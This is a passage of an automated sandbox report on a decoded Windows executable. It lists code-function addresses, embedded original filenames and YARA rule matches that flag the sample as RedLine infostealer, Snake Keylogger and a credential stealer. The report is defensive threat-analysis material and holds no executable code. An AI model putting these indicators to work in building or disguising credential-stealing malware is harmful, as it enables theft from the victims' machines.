Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061283A0	0_2_061283A0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612D9A0	0_2_0612D9A0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06123BAA	0_2_06123BAA
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612AEA8	0_2_0612AEA8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06126BA9	0_2_06126BA9
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06121BD0	0_2_06121BD0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612ECD0	0_2_0612ECD0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06125BD0	0_2_06125BD0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612A9D1	0_2_0612A9D1
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061204D8	0_2_061204D8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06127ED8	0_2_06127ED8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061244D8	0_2_061244D8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612D4D8	0_2_0612D4D8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061224C0	0_2_061224C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061296C0	0_2_061296C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612ECC0	0_2_0612ECC0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06121BC1	0_2_06121BC1
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612C1C8	0_2_0612C1C8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06127EC8	0_2_06127EC8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061204C9	0_2_061204C9
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06122DF0	0_2_06122DF0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612BCF0	0_2_0612BCF0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061291F8	0_2_061291F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06120DF8	0_2_06120DF8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612E7F8	0_2_0612E7F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612D4E3	0_2_0612D4E3
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06125BE0	0_2_06125BE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612A9E0	0_2_0612A9E0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06122DE0	0_2_06122DE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061244E8	0_2_061244E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612D4E8	0_2_0612D4E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061291E8	0_2_061291E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06168E08	0_2_06168E08
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06162688	0_2_06162688
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06160017	0_2_06160017
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616F208	0_2_0616F208
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616C008	0_2_0616C008
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06161830	0_2_06161830
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06169438	0_2_06169438
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06161820	0_2_06161820
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616AA28	0_2_0616AA28
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616DC28	0_2_0616DC28
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616F850	0_2_0616F850
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06160040	0_2_06160040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616F841	0_2_0616F841
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616C648	0_2_0616C648
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06169448	0_2_06169448
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06162678	0_2_06162678
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616B068	0_2_0616B068
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616E268	0_2_0616E268
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06160E98	0_2_06160E98
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06160E88	0_2_06160E88
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616CC88	0_2_0616CC88
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06169A88	0_2_06169A88
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616D2B9	0_2_0616D2B9
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616B6A8	0_2_0616B6A8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616E8A8	0_2_0616E8A8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616A0C8	0_2_0616A0C8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616D2C8	0_2_0616D2C8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061604F8	0_2_061604F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06161CF8	0_2_06161CF8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616BCE8	0_2_0616BCE8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616EEE8	0_2_0616EEE8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06161CE9	0_2_06161CE9
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616D908	0_2_0616D908
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06160508	0_2_06160508
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616A708	0_2_0616A708
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616C328	0_2_0616C328
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06169128	0_2_06169128
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616F528	0_2_0616F528
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06161359	0_2_06161359
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616DF48	0_2_0616DF48
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616AD48	0_2_0616AD48
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616FB70	0_2_0616FB70
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616C968	0_2_0616C968
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06169768	0_2_06169768
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06161368	0_2_06161368
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616E588	0_2_0616E588
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616B388	0_2_0616B388
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061621B2	0_2_061621B2
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616CFA8	0_2_0616CFA8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06169DA8	0_2_06169DA8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061609D0	0_2_061609D0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061621C0	0_2_061621C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061609C0	0_2_061609C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616B9C8	0_2_0616B9C8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616EBC8	0_2_0616EBC8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616F1F8	0_2_0616F1F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616A3E8	0_2_0616A3E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0616D5E8	0_2_0616D5E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A2270	0_2_061A2270
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A0DC0	0_2_061A0DC0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A4800	0_2_061A4800
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A2958	0_2_061A2958
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A3728	0_2_061A3728
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A14A8	0_2_061A14A8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A3040	0_2_061A3040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A1B88	0_2_061A1B88
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A225F	0_2_061A225F
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A0040	0_2_061A0040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A0DB2	0_2_061A0DB2
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A2947	0_2_061A2947
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A3717	0_2_061A3717
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A149A	0_2_061A149A
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A302F	0_2_061A302F
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061A1B78	0_2_061A1B78
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06943514	0_2_06943514
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_06944AB0	0_2_06944AB0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_069468B1	0_2_069468B1
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_069431F8	0_2_069431F8

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: String function: 0040E1D8 appears 43 times

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691235422.0000000000654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3548670693.0000000000197000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003610000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691184862.0000000000642000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
